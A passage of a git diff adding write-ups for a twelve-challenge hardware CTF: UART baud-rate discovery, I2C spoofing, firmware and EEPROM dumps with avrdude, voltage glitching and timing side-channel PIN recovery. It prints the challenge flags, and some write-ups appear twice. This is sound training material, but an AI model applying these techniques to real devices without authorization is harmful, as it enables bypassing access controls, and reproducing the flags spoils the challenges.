+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
